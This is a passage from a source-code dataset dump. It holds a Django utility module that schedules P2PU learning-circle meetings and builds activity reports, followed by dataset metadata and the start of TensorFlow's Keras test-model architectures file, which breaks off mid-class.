= [] while meeting_date <= study_group.end_date: meeting = Meeting( study_group=study_group, meeting_date=meeting_date, meeting_time=study_group.meeting_time ) #meeting.save() meetings += [meeting] meeting_date += datetime.timedelta(days=7) for meeting in meetings: meeting.save() def generate_meetings_from_dates(study_group, meeting_dates=[]): existing_meetings = Meeting.objects.active().filter(study_group=study_group) meetings_to_keep = [] for date in meeting_dates: meeting_date = date['meeting_date'] meeting_time = date['meeting_time'] this_meeting = existing_meetings.filter(meeting_date=meeting_date, meeting_time=meeting_time).first() if not this_meeting: this_meeting = Meeting( study_group=study_group, meeting_date=meeting_date, meeting_time=meeting_time ) this_meeting.save() meetings_to_keep.append(this_meeting) for meeting in existing_meetings: if meeting not in meetings_to_keep: meeting.delete() def generate_all_meeting_dates(start_date, meeting_time, weeks): """ generate a weekly meeting schedule """ meeting_dates = [] for i in range(weeks): meeting_dates += [{ 'meeting_date': start_date + datetime.timedelta(days=i*7), 'meeting_time': meeting_time, }] return meeting_dates def get_all_meeting_times(study_group): # sorted ascending according to date # times are in the study group timezone # meeting time stays constant, eg 18:00 stays 18:00 even when daylight savings changes tz = pytz.timezone(study_group.timezone) meeting_date = study_group.start_date meetings = [] while meeting_date <= study_group.end_date: next_meeting = tz.localize(datetime.datetime.combine(meeting_date, study_group.meeting_time)) meetings += [next_meeting] meeting_date += datetime.timedelta(days=7) return meetings def report_data(start_time, end_time, team=None): """ Return data for the indicated time period If team is given, study groups will be filtered by team """ study_groups = StudyGroup.objects.published() meetings = Meeting.objects.active()\ .filter(meeting_date__gte=start_time, meeting_date__lt=end_time)\ .filter(study_group__in=study_groups) studygroups_that_ended = get_studygroups_that_ended(start_time, end_time) studygroups_that_met = get_studygroups_with_meetings(start_time, end_time) upcoming_studygroups = get_upcoming_studygroups(end_time) new_applications = get_new_applications(start_time, end_time) new_users = get_new_users(start_time, end_time) new_courses = get_new_courses(start_time, end_time) if team: members = team.teammembership_set.active().values_list('user', flat=True) new_courses = new_courses.filter(created_by__in=members) new_applications = new_applications.filter(study_group__facilitator__in=members) meetings = meetings.filter(study_group__facilitator__in=members) study_groups = study_groups.filter(facilitator__in=members) studygroups_that_ended = [sg for sg in studygroups_that_ended if sg.facilitator.id in members] studygroups_that_met = studygroups_that_met.filter(facilitator__in=members) new_users = new_users.filter(id__in=members) upcoming_studygroups = upcoming_studygroups.filter(facilitator__in=members) feedback = Feedback.objects.filter(study_group_meeting__in=meetings) studygroups_with_survey_responses = filter_studygroups_with_survey_responses(studygroups_that_ended) intros_from_new_users = get_new_user_intros(new_users) learners_reached = Application.objects.active().filter(study_group__in=studygroups_that_met) active = any([ len(meetings) > 0, len(feedback) > 0, len(studygroups_that_ended) > 0, len(new_users) > 0, len(new_courses) > 0, len(new_applications) > 0, ]) report = { 'active': active, 'meetings': meetings, 'feedback': feedback, "finished_studygroups": studygroups_that_ended, "finished_studygroups_count": len(studygroups_that_ended), "studygroups_with_survey_responses": studygroups_with_survey_responses, "studygroups_met_count": studygroups_that_met.count(), "learners_reached_count": learners_reached.count(), "upcoming_studygroups": upcoming_studygroups, "upcoming_studygroups_count": upcoming_studygroups.count(), "new_applications": new_applications, "new_learners_count": new_applications.count(), "intros_from_new_users": intros_from_new_users, "new_users": new_users, "new_users_count": new_users.count(), "new_courses": new_courses, "new_courses_count": new_courses.count(), } if team: report['team'] = team return report def get_json_response(url): response = requests.get(url) try: return response.json() except: raise ConnectionError("Request to {} returned {}".format(url, response.status_code)) def get_studygroups_with_meetings(start_time, end_time, team=None): if team: team_memberships = team.teammembership_set.active().values('user') return StudyGroup.objects.published().filter(facilitator__in=team_memberships, meeting__meeting_date__gte=start_time, meeting__meeting_date__lt=end_time, meeting__deleted_at__isnull=True).distinct() return StudyGroup.objects.published().filter(meeting__meeting_date__gte=start_time, meeting__meeting_date__lt=end_time, meeting__deleted_at__isnull=True).distinct() def get_new_studygroups(start_time, end_time): return StudyGroup.objects.published().filter(created_at__gte=start_time, created_at__lt=end_time) def get_new_users(start_time, end_time): return User.objects.filter(date_joined__gte=start_time, date_joined__lt=end_time) def get_new_applications(start_time, end_time): return Application.objects.active().filter(created_at__gte=start_time, created_at__lt=end_time) def get_new_courses(start_time, end_time): return Course.objects.active().filter(created_at__gte=start_time, created_at__lt=end_time, unlisted=False) def get_upcoming_studygroups(start_time): end_time = start_time + datetime.timedelta(days=21) team_membership = TeamMembership.objects.active().filter(user=OuterRef('facilitator')) return StudyGroup.objects.published().filter(start_date__gte=start_time, start_date__lt=end_time).annotate(team=Subquery(team_membership.values('team__name'))) def get_studygroups_that_ended(start_time, end_time, team=None): if team: team_memberships = team.teammembership_set.active().values('user') return StudyGroup.objects.published().filter(end_date__gte=start_time, end_date__lt=end_time, facilitator__in=team_memberships) return StudyGroup.objects.published().filter(end_date__gte=start_time, end_date__lt=end_time) def filter_studygroups_with_survey_responses(study_groups): with_responses = filter(lambda sg: sg.learnersurveyresponse_set.count() > 0, study_groups) return sorted(with_responses, key=lambda sg: sg.learnersurveyresponse_set.count(), reverse=True) def get_new_user_intros(new_users, limit=5): new_discourse_users = [ '{} {}'.format(user.first_name, user.last_name) for user in new_users ] latest_introduction_posts = get_json_response("https://community.p2pu.org/t/1571/last.json") intros_from_new_users = [] for post in latest_introduction_posts['post_stream']['posts']: discourse_user = post.get("name", None) if settings.DEBUG and discourse_user is not None: discourse_user = discourse_user.split(" ")[0] + " Lastname" # TODO remove this on production!! if discourse_user in new_discourse_users and post["reply_to_post_number"] is None: intros_from_new_users.append(post) return intros_from_new_users[::-1][:limit] def get_discourse_categories(): site_json = get_json_response("https://community.p2pu.org/site.json") return site_json['categories'] def get_top_discourse_topics_and_users(limit=10): top_posts_json = get_json_response("https://community.p2pu.org/top/monthly.json") return { 'topics': top_posts_json['topic_list']['topics'][:limit], 'users': top_posts_json['users'] } def get_active_teams(): today = datetime.datetime.now() two_weeks_ago = today - relativedelta(days=+14) memberships = StudyGroup.objects.published().filter(Q(start_date__gte=today) | Q(start_date__lte=today, end_date__gte=today) | Q(end_date__gt=two_weeks_ago, end_date__lte=today)).values_list('facilitator__teammembership', flat=True) active_teams = Team.objects.filter(teammembership__in=memberships).distinct() return active_teams def get_active_facilitators(): # TODO studygroup_count will include any deleted or draft studygroups once # iow, actual count might be off by 1, but total won't be over inflated facilitators = User.objects.annotate(\ studygroup_count=Count( Case( When( studygroup__draft=False, studygroup__deleted_at__isnull=True, then=F('studygroup__id') ), default=Value(0), output_field=IntegerField() ), distinct=True ), latest_end_date=Max( Case( When( studygroup__draft=False, studygroup__deleted_at__isnull=True, then='studygroup__end_date' ) ) ), learners_count=Sum( Case( When( studygroup__draft=False, studygroup__deleted_at__isnull=True, studygroup__application__deleted_at__isnull=True, studygroup__application__accepted_at__isnull=False, then=1 ), output_field=IntegerField() ) ) ).filter(studygroup_count__gte=2).order_by('-studygroup_count') return facilitators def get_unrated_studygroups(): today = datetime.datetime.now() two_months_ago = today - relativedelta(months=+2) unrated_studygroups = StudyGroup.objects.published()\ .annotate( application__count = models.Count('application', filter= Q(application__deleted_at__isnull=True, application__accepted_at__isnull=False)) )\ .annotate( facilitatorsurveyresponse__count = models.Count('facilitatorsurveyresponse') )\ .filter( application__count__gte=1, end_date__gte=two_months_ago, end_date__lt=today ).filter( facilitator_rating__isnull=True, facilitator_goal_rating__isnull=True, facilitatorsurveyresponse__count=0 ).order_by('-end_date') return unrated_studygroups def get_unpublished_studygroups(start_time, end_time): return StudyGroup.objects.filter(draft=True, created_at__lt=end_time, created_at__gte=start_time).order_by('created_at') def get_studygroups_meetings(start_time, end_time): return Meeting.objects.active().filter(meeting_date__gte=start_time, meeting_date__lt=end_time, study_group__deleted_at__isnull=True, study_group__draft=False) def community_digest_data(start_time, end_time): origin_date = datetime.date(2016, 1, 1) studygroups_that_met = get_studygroups_with_meetings(start_time, end_time) learners_reached = Application.objects.active().filter(study_group__in=studygroups_that_met) total_learners_reached_count = Application.objects.active().filter(accepted_at__gte=origin_date, accepted_at__lt=end_time).count() total_meetings_count = get_studygroups_meetings(origin_date, end_time).count() studygroups_meetings_count = get_studygroups_meetings(start_time, end_time).count() new_users = get_new_users(start_time, end_time) new_applications = get_new_applications(start_time, end_time) new_courses = get_new_courses(start_time, end_time) upcoming_studygroups = get_upcoming_studygroups(end_time) studygroups_that_ended = get_studygroups_that_ended(start_time, end_time) studygroups_with_survey_responses = filter_studygroups_with_survey_responses(studygroups_that_ended) intros_from_new_users = get_new_user_intros(new_users) discourse_categories = get_discourse_categories() top_discourse_topics = get_top_discourse_topics_and_users() web_version_path = reverse('studygroups_community_digest', kwargs={'start_date': start_time.strftime("%d-%m-%Y"), 'end_date': end_time.strftime("%d-%m-%Y")}) return { "start_date": start_time.date(), "end_date": end_time.date(), "studygroups_that_met": studygroups_that_met, "studygroups_meetings_count": studygroups_meetings_count, "learners_reached_count": learners_reached.count(), "new_users_count": new_users.count(), "upcoming_studygroups": upcoming_studygroups, "upcoming_studygroups_count": upcoming_studygroups.count(), "finished_studygroups": studygroups_that_ended, "finished_studygroups_count": len(studygroups_that_ended), "studygroups_with_survey_responses": studygroups_with_survey_responses, "new_applications": new_applications, "new_learners_count": new_applications.count(), # TODO remove and use new_applications | length in templates "new_courses": new_courses, "new_courses_count": new_courses.count(), # TODO remove and use `| length` in templates "top_discourse_topics": top_discourse_topics, "discourse_categories": discourse_categories, "intros_from_new_users": intros_from_new_users, "web_version_path": web_version_path, "total_learners_reached_count": total_learners_reached_count, "total_meetings_count": total_meetings_count, } def stats_dash_data(start_time, end_time, team=None): studygroups_that_ended = get_studygroups_that_ended(start_time, end_time, team) studygroups_that_met = get_studygroups_with_meetings(start_time, end_time, team) unpublished_studygroups = get_unpublished_studygroups(start_time, end_time) learners_reached = Application.objects.active().filter(study_group__in=studygroups_that_met) courses = studygroups_that_met.values_list('course', 'course__title') ordered_courses = Counter(courses).most_common(10) top_courses = [{ "title": course[0][1], "course_id": course[0][0], "count": course[1] } for course in ordered_courses] active_teams = get_active_teams() active_facilitators = get_active_facilitators() unrated_studygroups = get_unrated_studygroups() return { "start_date": start_time.date(), "end_date": end_time.date(), "studygroups_that_met": studygroups_that_met, "studygroups_that_ended": studygroups_that_ended, "studygroups_met_count": studygroups_that_met.count(), "learners_reached_count": learners_reached.count(), "top_courses": top_courses, "active_teams": active_teams, "active_facilitators": active_facilitators, "unrated_studygroups": unrated_studygroups, "unpublished_studygroups": unpublished_studygroups, }
44.25
236
0.730535
from django.db import models from django.db.models import Count, Max, Q, Sum, Case, When, IntegerField, Value, OuterRef, Subquery from django.db.models import F from django.utils import timezone from dateutil.relativedelta import relativedelta from django.utils.translation import ugettext_lazy as _ from django.conf import settings from django.contrib.auth.models import User from django.urls import reverse from collections import Counter from .base import SoftDeleteQuerySet from .base import LifeTimeTrackingModel from .course import Course from .team import * from .announcement import Announcement from .profile import Profile from .learningcircle import StudyGroup from .learningcircle import Meeting from .learningcircle import Application from .learningcircle import Reminder from .learningcircle import Rsvp from .learningcircle import Feedback import datetime import pytz import requests def accept_application(application): # add a study group application to a study group application.accepted_at = timezone.now() application.save() def application_mobile_opt_out(mobile): applications = Application.objects.active().filter( mobile=mobile, mobile_opt_out_at__isnull=True ) applications.update(mobile_opt_out_at=timezone.now()) # TODO smarter handling for multiple applications def application_mobile_opt_out_revert(mobile): applications = Application.objects.active().filter( mobile=mobile, mobile_opt_out_at__isnull=False ) applications.update(mobile_opt_out_at=None) def create_rsvp(contact, study_group, meeting_datetime, attending): # expect meeting_date as python datetime # contact is an email address of mobile number # study_group is the study group id study_group_meeting = Meeting.objects.active().get(study_group__id=study_group, meeting_date=meeting_datetime.date(), meeting_time=meeting_datetime.time()) application = None if '@' in contact: application = Application.objects.active().get(study_group__id=study_group, email__iexact=contact) else: application = Application.objects.active().get(study_group__id=study_group, mobile=contact) rsvp = Rsvp.objects.all().filter(study_group_meeting=study_group_meeting, application=application).first() if not rsvp: rsvp = Rsvp(study_group_meeting=study_group_meeting, application=application, attending=attending=='yes') else: rsvp.attending = attending=='yes' rsvp.save() return rsvp def generate_all_meetings(study_group): # TODO this should be deprecated # Something like create_weekly_meetings(sg, start, count) could replace this if Meeting.objects.active().filter(study_group=study_group).exists(): raise Exception(_('Meetings already exist for this study group')) meeting_date = study_group.start_date meetings = [] while meeting_date <= study_group.end_date: meeting = Meeting( study_group=study_group, meeting_date=meeting_date, meeting_time=study_group.meeting_time ) #meeting.save() meetings += [meeting] meeting_date += datetime.timedelta(days=7) for meeting in meetings: meeting.save() def generate_meetings_from_dates(study_group, meeting_dates=[]): existing_meetings = Meeting.objects.active().filter(study_group=study_group) meetings_to_keep = [] for date in meeting_dates: meeting_date = date['meeting_date'] meeting_time = date['meeting_time'] this_meeting = existing_meetings.filter(meeting_date=meeting_date, meeting_time=meeting_time).first() if not this_meeting: this_meeting = Meeting( study_group=study_group, meeting_date=meeting_date, meeting_time=meeting_time ) this_meeting.save() meetings_to_keep.append(this_meeting) for meeting in existing_meetings: if meeting not in meetings_to_keep: meeting.delete() def generate_all_meeting_dates(start_date, meeting_time, weeks): meeting_dates = [] for i in range(weeks): meeting_dates += [{ 'meeting_date': start_date + datetime.timedelta(days=i*7), 'meeting_time': meeting_time, }] return meeting_dates def get_all_meeting_times(study_group): # sorted ascending according to date # times are in the study group timezone # meeting time stays constant, eg 18:00 stays 18:00 even when daylight savings changes tz = pytz.timezone(study_group.timezone) meeting_date = study_group.start_date meetings = [] while meeting_date <= study_group.end_date: next_meeting = tz.localize(datetime.datetime.combine(meeting_date, study_group.meeting_time)) meetings += [next_meeting] meeting_date += datetime.timedelta(days=7) return meetings def report_data(start_time, end_time, team=None): study_groups = StudyGroup.objects.published() meetings = Meeting.objects.active()\ .filter(meeting_date__gte=start_time, meeting_date__lt=end_time)\ .filter(study_group__in=study_groups) studygroups_that_ended = get_studygroups_that_ended(start_time, end_time) studygroups_that_met = get_studygroups_with_meetings(start_time, end_time) upcoming_studygroups = get_upcoming_studygroups(end_time) new_applications = get_new_applications(start_time, end_time) new_users = get_new_users(start_time, end_time) new_courses = get_new_courses(start_time, end_time) if team: members = team.teammembership_set.active().values_list('user', flat=True) new_courses = new_courses.filter(created_by__in=members) new_applications = new_applications.filter(study_group__facilitator__in=members) meetings = meetings.filter(study_group__facilitator__in=members) study_groups = study_groups.filter(facilitator__in=members) studygroups_that_ended = [sg for sg in studygroups_that_ended if sg.facilitator.id in members] studygroups_that_met = studygroups_that_met.filter(facilitator__in=members) new_users = new_users.filter(id__in=members) upcoming_studygroups = upcoming_studygroups.filter(facilitator__in=members) feedback = Feedback.objects.filter(study_group_meeting__in=meetings) studygroups_with_survey_responses = filter_studygroups_with_survey_responses(studygroups_that_ended) intros_from_new_users = get_new_user_intros(new_users) learners_reached = Application.objects.active().filter(study_group__in=studygroups_that_met) active = any([ len(meetings) > 0, len(feedback) > 0, len(studygroups_that_ended) > 0, len(new_users) > 0, len(new_courses) > 0, len(new_applications) > 0, ]) report = { 'active': active, 'meetings': meetings, 'feedback': feedback, "finished_studygroups": studygroups_that_ended, "finished_studygroups_count": len(studygroups_that_ended), "studygroups_with_survey_responses": studygroups_with_survey_responses, "studygroups_met_count": studygroups_that_met.count(), "learners_reached_count": learners_reached.count(), "upcoming_studygroups": upcoming_studygroups, "upcoming_studygroups_count": upcoming_studygroups.count(), "new_applications": new_applications, "new_learners_count": new_applications.count(), "intros_from_new_users": intros_from_new_users, "new_users": new_users, "new_users_count": new_users.count(), "new_courses": new_courses, "new_courses_count": new_courses.count(), } if team: report['team'] = team return report def get_json_response(url): response = requests.get(url) try: return response.json() except: raise ConnectionError("Request to {} returned {}".format(url, response.status_code)) def get_studygroups_with_meetings(start_time, end_time, team=None): if team: team_memberships = team.teammembership_set.active().values('user') return StudyGroup.objects.published().filter(facilitator__in=team_memberships, meeting__meeting_date__gte=start_time, meeting__meeting_date__lt=end_time, meeting__deleted_at__isnull=True).distinct() return StudyGroup.objects.published().filter(meeting__meeting_date__gte=start_time, meeting__meeting_date__lt=end_time, meeting__deleted_at__isnull=True).distinct() def get_new_studygroups(start_time, end_time): return StudyGroup.objects.published().filter(created_at__gte=start_time, created_at__lt=end_time) def get_new_users(start_time, end_time): return User.objects.filter(date_joined__gte=start_time, date_joined__lt=end_time) def get_new_applications(start_time, end_time): return Application.objects.active().filter(created_at__gte=start_time, created_at__lt=end_time) def get_new_courses(start_time, end_time): return Course.objects.active().filter(created_at__gte=start_time, created_at__lt=end_time, unlisted=False) def get_upcoming_studygroups(start_time): end_time = start_time + datetime.timedelta(days=21) team_membership = TeamMembership.objects.active().filter(user=OuterRef('facilitator')) return StudyGroup.objects.published().filter(start_date__gte=start_time, start_date__lt=end_time).annotate(team=Subquery(team_membership.values('team__name'))) def get_studygroups_that_ended(start_time, end_time, team=None): if team: team_memberships = team.teammembership_set.active().values('user') return StudyGroup.objects.published().filter(end_date__gte=start_time, end_date__lt=end_time, facilitator__in=team_memberships) return StudyGroup.objects.published().filter(end_date__gte=start_time, end_date__lt=end_time) def filter_studygroups_with_survey_responses(study_groups): with_responses = filter(lambda sg: sg.learnersurveyresponse_set.count() > 0, study_groups) return sorted(with_responses, key=lambda sg: sg.learnersurveyresponse_set.count(), reverse=True) def get_new_user_intros(new_users, limit=5): new_discourse_users = [ '{} {}'.format(user.first_name, user.last_name) for user in new_users ] latest_introduction_posts = get_json_response("https://community.p2pu.org/t/1571/last.json") intros_from_new_users = [] for post in latest_introduction_posts['post_stream']['posts']: discourse_user = post.get("name", None) if settings.DEBUG and discourse_user is not None: discourse_user = discourse_user.split(" ")[0] + " Lastname" # TODO remove this on production!! if discourse_user in new_discourse_users and post["reply_to_post_number"] is None: intros_from_new_users.append(post) return intros_from_new_users[::-1][:limit] def get_discourse_categories(): site_json = get_json_response("https://community.p2pu.org/site.json") return site_json['categories'] def get_top_discourse_topics_and_users(limit=10): top_posts_json = get_json_response("https://community.p2pu.org/top/monthly.json") return { 'topics': top_posts_json['topic_list']['topics'][:limit], 'users': top_posts_json['users'] } def get_active_teams(): today = datetime.datetime.now() two_weeks_ago = today - relativedelta(days=+14) memberships = StudyGroup.objects.published().filter(Q(start_date__gte=today) | Q(start_date__lte=today, end_date__gte=today) | Q(end_date__gt=two_weeks_ago, end_date__lte=today)).values_list('facilitator__teammembership', flat=True) active_teams = Team.objects.filter(teammembership__in=memberships).distinct() return active_teams def get_active_facilitators(): # TODO studygroup_count will include any deleted or draft studygroups once # iow, actual count might be off by 1, but total won't be over inflated facilitators = User.objects.annotate(\ studygroup_count=Count( Case( When( studygroup__draft=False, studygroup__deleted_at__isnull=True, then=F('studygroup__id') ), default=Value(0), output_field=IntegerField() ), distinct=True ), latest_end_date=Max( Case( When( studygroup__draft=False, studygroup__deleted_at__isnull=True, then='studygroup__end_date' ) ) ), learners_count=Sum( Case( When( studygroup__draft=False, studygroup__deleted_at__isnull=True, studygroup__application__deleted_at__isnull=True, studygroup__application__accepted_at__isnull=False, then=1 ), output_field=IntegerField() ) ) ).filter(studygroup_count__gte=2).order_by('-studygroup_count') return facilitators def get_unrated_studygroups(): today = datetime.datetime.now() two_months_ago = today - relativedelta(months=+2) unrated_studygroups = StudyGroup.objects.published()\ .annotate( application__count = models.Count('application', filter= Q(application__deleted_at__isnull=True, application__accepted_at__isnull=False)) )\ .annotate( facilitatorsurveyresponse__count = models.Count('facilitatorsurveyresponse') )\ .filter( application__count__gte=1, end_date__gte=two_months_ago, end_date__lt=today ).filter( facilitator_rating__isnull=True, facilitator_goal_rating__isnull=True, facilitatorsurveyresponse__count=0 ).order_by('-end_date') return unrated_studygroups def get_unpublished_studygroups(start_time, end_time): return StudyGroup.objects.filter(draft=True, created_at__lt=end_time, created_at__gte=start_time).order_by('created_at') def get_studygroups_meetings(start_time, end_time): return Meeting.objects.active().filter(meeting_date__gte=start_time, meeting_date__lt=end_time, study_group__deleted_at__isnull=True, study_group__draft=False) def community_digest_data(start_time, end_time): origin_date = datetime.date(2016, 1, 1) studygroups_that_met = get_studygroups_with_meetings(start_time, end_time) learners_reached = Application.objects.active().filter(study_group__in=studygroups_that_met) total_learners_reached_count = Application.objects.active().filter(accepted_at__gte=origin_date, accepted_at__lt=end_time).count() total_meetings_count = get_studygroups_meetings(origin_date, end_time).count() studygroups_meetings_count = get_studygroups_meetings(start_time, end_time).count() new_users = get_new_users(start_time, end_time) new_applications = get_new_applications(start_time, end_time) new_courses = get_new_courses(start_time, end_time) upcoming_studygroups = get_upcoming_studygroups(end_time) studygroups_that_ended = get_studygroups_that_ended(start_time, end_time) studygroups_with_survey_responses = filter_studygroups_with_survey_responses(studygroups_that_ended) intros_from_new_users = get_new_user_intros(new_users) discourse_categories = get_discourse_categories() top_discourse_topics = get_top_discourse_topics_and_users() web_version_path = reverse('studygroups_community_digest', kwargs={'start_date': start_time.strftime("%d-%m-%Y"), 'end_date': end_time.strftime("%d-%m-%Y")}) return { "start_date": start_time.date(), "end_date": end_time.date(), "studygroups_that_met": studygroups_that_met, "studygroups_meetings_count": studygroups_meetings_count, "learners_reached_count": learners_reached.count(), "new_users_count": new_users.count(), "upcoming_studygroups": upcoming_studygroups, "upcoming_studygroups_count": upcoming_studygroups.count(), "finished_studygroups": studygroups_that_ended, "finished_studygroups_count": len(studygroups_that_ended), "studygroups_with_survey_responses": studygroups_with_survey_responses, "new_applications": new_applications, "new_learners_count": new_applications.count(), "new_courses": new_courses, "new_courses_count": new_courses.count(), "top_discourse_topics": top_discourse_topics, "discourse_categories": discourse_categories, "intros_from_new_users": intros_from_new_users, "web_version_path": web_version_path, "total_learners_reached_count": total_learners_reached_count, "total_meetings_count": total_meetings_count, } def stats_dash_data(start_time, end_time, team=None): studygroups_that_ended = get_studygroups_that_ended(start_time, end_time, team) studygroups_that_met = get_studygroups_with_meetings(start_time, end_time, team) unpublished_studygroups = get_unpublished_studygroups(start_time, end_time) learners_reached = Application.objects.active().filter(study_group__in=studygroups_that_met) courses = studygroups_that_met.values_list('course', 'course__title') ordered_courses = Counter(courses).most_common(10) top_courses = [{ "title": course[0][1], "course_id": course[0][0], "count": course[1] } for course in ordered_courses] active_teams = get_active_teams() active_facilitators = get_active_facilitators() unrated_studygroups = get_unrated_studygroups() return { "start_date": start_time.date(), "end_date": end_time.date(), "studygroups_that_met": studygroups_that_met, "studygroups_that_ended": studygroups_that_ended, "studygroups_met_count": studygroups_that_met.count(), "learners_reached_count": learners_reached.count(), "top_courses": top_courses, "active_teams": active_teams, "active_facilitators": active_facilitators, "unrated_studygroups": unrated_studygroups, "unpublished_studygroups": unpublished_studygroups, }
true
true
f73d85e2ac0163e63f2ca05b291ba49c130c98f6
10,242
py
Python
tensorflow/python/keras/saving/model_architectures.py
buchgr/tensorflow
2938772a08ed02ced4663ca38168ab3f82e8f81b
[ "Apache-2.0" ]
1
2020-03-12T10:39:06.000Z
2020-03-12T10:39:06.000Z
tensorflow/python/keras/saving/model_architectures.py
buchgr/tensorflow
2938772a08ed02ced4663ca38168ab3f82e8f81b
[ "Apache-2.0" ]
2
2021-08-25T15:57:54.000Z
2022-02-10T01:14:29.000Z
tensorflow/python/keras/saving/model_architectures.py
buchgr/tensorflow
2938772a08ed02ced4663ca38168ab3f82e8f81b
[ "Apache-2.0" ]
3
2020-03-09T19:17:02.000Z
2020-06-26T23:14:31.000Z
# Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for saving/loading function for keras Model.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import collections from tensorflow.python import keras # Declaring namedtuple() ModelFn = collections.namedtuple('ModelFn', ['model', 'input_shape', 'target_shape']) def basic_sequential(): """Basic sequential model.""" model = keras.Sequential([ keras.layers.Dense(3, activation='relu', input_shape=(3,)), keras.layers.Dense(2, activation='softmax'), ]) return ModelFn(model, (None, 3), (None, 2)) def basic_sequential_deferred(): """Sequential model with deferred input shape.""" model = keras.Sequential([ keras.layers.Dense(3, activation='relu'), keras.layers.Dense(2, activation='softmax'), ]) return ModelFn(model, (None, 3), (None, 2)) def stacked_rnn(): """Stacked RNN model.""" inputs = keras.Input((None, 3)) layer = keras.layers.RNN([keras.layers.LSTMCell(2) for _ in range(3)]) x = layer(inputs) outputs = keras.layers.Dense(2)(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 4, 3), (None, 2)) def lstm(): """LSTM model.""" inputs = keras.Input((None, 3)) x = keras.layers.LSTM(4, return_sequences=True)(inputs) x = keras.layers.LSTM(3, return_sequences=True)(x) x = keras.layers.LSTM(2, return_sequences=False)(x) outputs = keras.layers.Dense(2)(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 4, 3), (None, 2)) def multi_input_multi_output(): """Multi-input Multi-ouput model.""" body_input = keras.Input(shape=(None,), name='body') tags_input = keras.Input(shape=(2,), name='tags') x = keras.layers.Embedding(10, 4)(body_input) body_features = keras.layers.LSTM(5)(x) x = keras.layers.concatenate([body_features, tags_input]) pred_1 = keras.layers.Dense(2, activation='sigmoid', name='priority')(x) pred_2 = keras.layers.Dense(3, activation='softmax', name='department')(x) model = keras.Model( inputs=[body_input, tags_input], outputs=[pred_1, pred_2]) return ModelFn(model, [(None, 1), (None, 2)], [(None, 2), (None, 3)]) def nested_sequential_in_functional(): """A sequential model nested in a functional model.""" inner_model = keras.Sequential([ keras.layers.Dense(3, activation='relu', input_shape=(3,)), keras.layers.Dense(2, activation='relu'), ]) inputs = keras.Input(shape=(3,)) x = inner_model(inputs) outputs = keras.layers.Dense(2, activation='softmax')(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 3), (None, 2)) def seq_to_seq(): """Sequence to sequence model.""" num_encoder_tokens = 3 num_decoder_tokens = 3 latent_dim = 2 encoder_inputs = keras.Input(shape=(None, num_encoder_tokens)) encoder = keras.layers.LSTM(latent_dim, return_state=True) _, state_h, state_c = encoder(encoder_inputs) encoder_states = [state_h, state_c] decoder_inputs = keras.Input(shape=(None, num_decoder_tokens)) decoder_lstm = keras.layers.LSTM( latent_dim, return_sequences=True, return_state=True) decoder_outputs, _, _ = decoder_lstm( decoder_inputs, initial_state=encoder_states) decoder_dense = keras.layers.Dense(num_decoder_tokens, activation='softmax') decoder_outputs = decoder_dense(decoder_outputs) model = keras.Model([encoder_inputs, decoder_inputs], decoder_outputs) return ModelFn( model, [(None, 2, num_encoder_tokens), (None, 2, num_decoder_tokens)], (None, 2, num_decoder_tokens)) def shared_layer_functional(): """Shared layer in a functional model.""" main_input = keras.Input(shape=(10,), dtype='int32', name='main_input') x = keras.layers.Embedding( output_dim=5, input_dim=4, input_length=10)(main_input) lstm_out = keras.layers.LSTM(3)(x) auxiliary_output = keras.layers.Dense( 1, activation='sigmoid', name='aux_output')(lstm_out) auxiliary_input = keras.Input(shape=(5,), name='aux_input') x = keras.layers.concatenate([lstm_out, auxiliary_input]) x = keras.layers.Dense(2, activation='relu')(x) main_output = keras.layers.Dense( 1, activation='sigmoid', name='main_output')(x) model = keras.Model( inputs=[main_input, auxiliary_input], outputs=[main_output, auxiliary_output]) return ModelFn(model, [(None, 10), (None, 5)], [(None, 1), (None, 1)]) def shared_sequential(): """Shared sequential model in a functional model.""" inner_model = keras.Sequential([ keras.layers.Conv2D(2, 3, activation='relu'), keras.layers.Conv2D(2, 3, activation='relu'), ]) inputs_1 = keras.Input((5, 5, 3)) inputs_2 = keras.Input((5, 5, 3)) x1 = inner_model(inputs_1) x2 = inner_model(inputs_2) x = keras.layers.concatenate([x1, x2]) outputs = keras.layers.GlobalAveragePooling2D()(x) model = keras.Model([inputs_1, inputs_2], outputs) return ModelFn(model, [(None, 5, 5, 3), (None, 5, 5, 3)], (None, 4)) class _MySubclassModel(keras.Model): """A subclass model.""" def __init__(self): super(_MySubclassModel, self).__init__(name='my_subclass_model') self.dense1 = keras.layers.Dense(8, activation='relu') self.dense2 = keras.layers.Dense(2, activation='softmax') self.bn = keras.layers.BatchNormalization() self.dp = keras.layers.Dropout(0.5) def call(self, inputs, **kwargs): x = self.dense1(inputs) x = self.dp(x) x = self.bn(x) return self.dense2(x) def nested_subclassed_model(): """A subclass model nested in another subclass model.""" class NestedSubclassModel(keras.Model): """A nested subclass model.""" def __init__(self): super(NestedSubclassModel, self).__init__() self.dense1 = keras.layers.Dense(4, activation='relu') self.dense2 = keras.layers.Dense(2, activation='relu') self.bn = keras.layers.BatchNormalization() self.inner_subclass_model = _MySubclassModel() def call(self, inputs): x = self.dense1(inputs) x = self.bn(x) x = self.inner_subclass_model(x) return self.dense2(x) return ModelFn(NestedSubclassModel(), (None, 3), (None, 2)) def nested_subclassed_in_functional_model(): """A subclass model nested in a functional model.""" inner_subclass_model = _MySubclassModel() inputs = keras.Input(shape=(3,)) x = inner_subclass_model(inputs) x = keras.layers.BatchNormalization()(x) outputs = keras.layers.Dense(2, activation='softmax')(x) model = keras.Model(inputs, outputs) return ModelFn(model, (None, 3), (None, 2)) def nested_functional_in_subclassed_model(): """A functional model nested in a subclass model.""" def get_functional_model(): inputs = keras.Input(shape=(4,)) x = keras.layers.Dense(4, activation='relu')(inputs) x = keras.layers.BatchNormalization()(x) outputs = keras.layers.Dense(2)(x) return keras.Model(inputs, outputs) class NestedFunctionalInSubclassModel(keras.Model): """A functional nested in subclass model.""" def __init__(self): super(NestedFunctionalInSubclassModel, self).__init__( name='nested_functional_in_subclassed_model') self.dense1 = 